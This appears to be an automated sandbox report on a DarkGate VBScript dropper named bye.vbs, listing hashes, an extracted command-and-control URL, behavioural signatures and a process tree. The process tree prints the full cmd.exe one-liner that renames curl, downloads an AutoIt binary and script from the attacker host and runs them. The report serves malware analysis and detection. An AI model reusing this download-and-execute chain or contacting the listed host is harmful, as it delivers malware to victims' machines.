Analysis
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max time kernel
143s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
03/10/2023, 03:21
Static task
static1
Behavioral task
behavioral1
Sample
bye.vbs
Resource
win7-20230831-en
General
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Target
bye.vbs
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Size
19KB
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MD5
a19d814f720701a258a6e8b5a22b22c9
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SHA1
cbdcdefb3328f1473bb1da624ed2bf9515ffd2c3
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SHA256
7d4115e88411e7bcac9ed622dbb6554ff4015c6f9fed98a5427970ceada526e6
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SHA512
51b2a31f0c4fce15d87d1ab88d8e383ee7f8be0e9075183a22c6bfcca48dd30d43ca7987baf3c811ab11a4132199a31213d3096c91a645127f13b7703d3bd044
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SSDEEP
384:fwcem3DxZbJ6TZZfOEcMR/vuvP3RhbWbdVIIo+T6ncfzeQhs7h7:YcXZ16/+MRSbbaX9yp7h7
Malware Config
Extracted
darkgate
http://searcherbigdealk.com
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 8 4296 WScript.exe -
Downloads MZ/PE file
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 3 IoCs
pid Process 2852 dcvj.exe 396 dcvj.exe 1836 Autoit3.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Autoit3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Autoit3.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 8 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 4296 wrote to memory of 4564 4296 WScript.exe 86 PID 4296 wrote to memory of 4564 4296 WScript.exe 86 PID 4564 wrote to memory of 2852 4564 cmd.exe 88 PID 4564 wrote to memory of 2852 4564 cmd.exe 88 PID 4564 wrote to memory of 396 4564 cmd.exe 89 PID 4564 wrote to memory of 396 4564 cmd.exe 89 PID 4564 wrote to memory of 1836 4564 cmd.exe 92 PID 4564 wrote to memory of 1836 4564 cmd.exe 92 PID 4564 wrote to memory of 1836 4564 cmd.exe 92
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bye.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4296 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c mkdir c:\dcvj & cd /d c:\dcvj & copy c:\windows\system32\curl.exe dcvj.exe & dcvj -H "User-Agent: curl" -o Autoit3.exe http://searcherbigdealk.com:2351 & dcvj -o pffifj.au3 http://searcherbigdealk.com:2351/msidcvjgknu & Autoit3.exe pffifj.au32⤵
- Suspicious use of WriteProcessMemory
PID:4564 -
\??\c:\dcvj\dcvj.exedcvj -H "User-Agent: curl" -o Autoit3.exe http://searcherbigdealk.com:23513⤵
- Executes dropped EXE
PID:2852
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\??\c:\dcvj\dcvj.exedcvj -o pffifj.au3 http://searcherbigdealk.com:2351/msidcvjgknu3⤵
- Executes dropped EXE
PID:396
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\??\c:\dcvj\Autoit3.exeAutoit3.exe pffifj.au33⤵
- Executes dropped EXE
- Checks processor information in registry
PID:1836
-
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
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Filesize
411KB
MD51c3645ebddbe2da6a32a5f9fb43a3c23
SHA1086f74a35d5afed78ae50cf5586fafffb7845464
SHA2560ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
SHA512ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b
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Filesize
411KB
MD51c3645ebddbe2da6a32a5f9fb43a3c23
SHA1086f74a35d5afed78ae50cf5586fafffb7845464
SHA2560ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
SHA512ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b
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Filesize
411KB
MD51c3645ebddbe2da6a32a5f9fb43a3c23
SHA1086f74a35d5afed78ae50cf5586fafffb7845464
SHA2560ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
SHA512ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b
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Filesize
915KB
MD5de9a6d5f83e167fc020bb48f36684155
SHA17e2db72b21a9a8ba2b63cd77859dc9ac87b6afc2
SHA2562f5af97b13b077a00218c60305b4eee5d88d14a9bd042beed286434c3fc6e084
SHA5126a8eaf08e91c313a55aa25bb8b7637206127cdab77371c6e118df477b045bfcc0c7f4f754df54d8293174992998bec6340b5283cc5df02fb6b7e35402e02d17f